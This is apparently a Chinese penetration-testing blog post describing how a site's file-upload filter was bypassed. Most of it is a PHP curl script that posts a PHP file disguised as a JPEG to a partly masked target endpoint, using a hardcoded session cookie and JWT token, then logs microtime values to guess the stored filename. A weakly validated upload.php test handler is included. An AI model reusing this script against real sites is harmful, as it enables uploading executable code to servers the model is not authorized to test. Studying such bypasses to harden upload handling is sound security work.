php下curl模拟文件上传


背景:

  • 同事遇到一个站点,很奇葩。
    • 上传无php代码的php文件时,可以成功
    • 加上php代码时,上传失败,竟然提醒后缀不允许,这里有代码,所以知道这个提示确实是检测后缀,但是目标站貌似魔改了源码
    • 修改了其中一个字段,上传成功,但是此处不会返回路径,本来存在其他可以查看路径的方式,但是被魔改删除了,只能去找文件名的生成规则,最后发现是microtime函数,于是有了此文章记录

目的

没研究过python的微秒生成方法,害怕有些不一样,所以采用php代码来实现

  • curl模拟上传
  • 输出上传开始的时间戳以及上传结束的时间戳

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
class UploadPart
{
protected static $url;
protected static $delimiter;
protected static $instance;

public function __construct() {
static::$url = "http://xxx.xxx.xxx/mobile/index/feedback_do";
static::$delimiter = uniqid();
}

public function putPart($param) {
$post_data = static::buildData($param);
$curl = curl_init(static::$url);
$cookie = 'PHPSESSID=n6ackqk8j8lavbbnq1u2s6rau6; ltoken=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJtZW1iZXJfaWQiOjIxMDYyOSwiZXhwIjoxNjIzMDUyNzg3LCJjb2RlIjoidjIiLCJ0eXBlIjoibG9naW4ifQ.UmoIOeHKb_4r7U4YlvtbfG22pG0EN8XGUjCSIYZOHT1KZizKLnuA6mpVGI_UeYLnO-4LzwE2vpDrMnUBCRmNDPor9KUNmieXMBeqc0cfmRyzo0VG57iF4-nP0BQgyLCRijGkzJTJcAmnTgbOc7eKC3QdGCOwKxSvLz_OpWfHkLU';
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
curl_setopt($curl, CURLOPT_HTTPHEADER, [
"Content-Type: multipart/form-data; boundary=" . static::$delimiter,
"Content-Length: " . strlen($post_data)
]);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}

private static function buildData($param){
$data = '';
$eol = "\r\n";
$upload = $param['upload'];
unset($param['upload']);

foreach ($param as $name => $content) {
$data .= "--" . static::$delimiter . "\r\n"
. 'Content-Disposition: form-data; name="' . $name . "\"\r\n\r\n"
. $content . "\r\n";
}
// 拼接文件流
$data .= "--" . static::$delimiter . $eol
. 'Content-Disposition: form-data; name="annex"; filename="' . $param['filename'] . '"' . "\r\n"
. 'Content-Type:image/jpeg'."\r\n\r\n";

$data .= $upload . "\r\n";
$data .= "--" . static::$delimiter . "--\r\n";
return $data;
}

public static function getInstance() {
if(!static::$instance){
static::$instance = new static();
}
return static::$instance;
}
}


$fields = array(
'type' => 'image/jpeg',
'content' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa11111',
'id' => 'WU_FILE_0',
'name' => 'ok2.jpgaa',
'size' => '8003',
'lastModifiedDate' => 'Wed Apr 08 2020 18:32:39 GMT+0800 (中国标准时间)',
'filename' => 'ok2.jpg',
'upload'=>file_get_contents('ok2.php')
);
echo microtime(true)."<br>";
$part = UploadPart::getInstance()->putPart($fields);
echo microtime(true)."<br>";
echo $part;
//public/annex/storage/20201209/
?>

效果截图

1607512708149

其他测试代码

上传表单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<meta charset="utf-8">
<title>this is a test!</title>
</head>
<body>

<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>

</body>
</html>

上传逻辑upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
// 允许上传的图片后缀
// print_r($_FILES);
// die('aaaaaaaaaaaaaaaaa');
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
echo $_FILES["file"]["type"];
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";

// 判断当前目录下的 upload 目录是否存在该文件
// 如果没有 upload 目录,你需要创建它,upload 目录权限为 777
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}
}
else
{
echo "非法的文件格式";
}
?>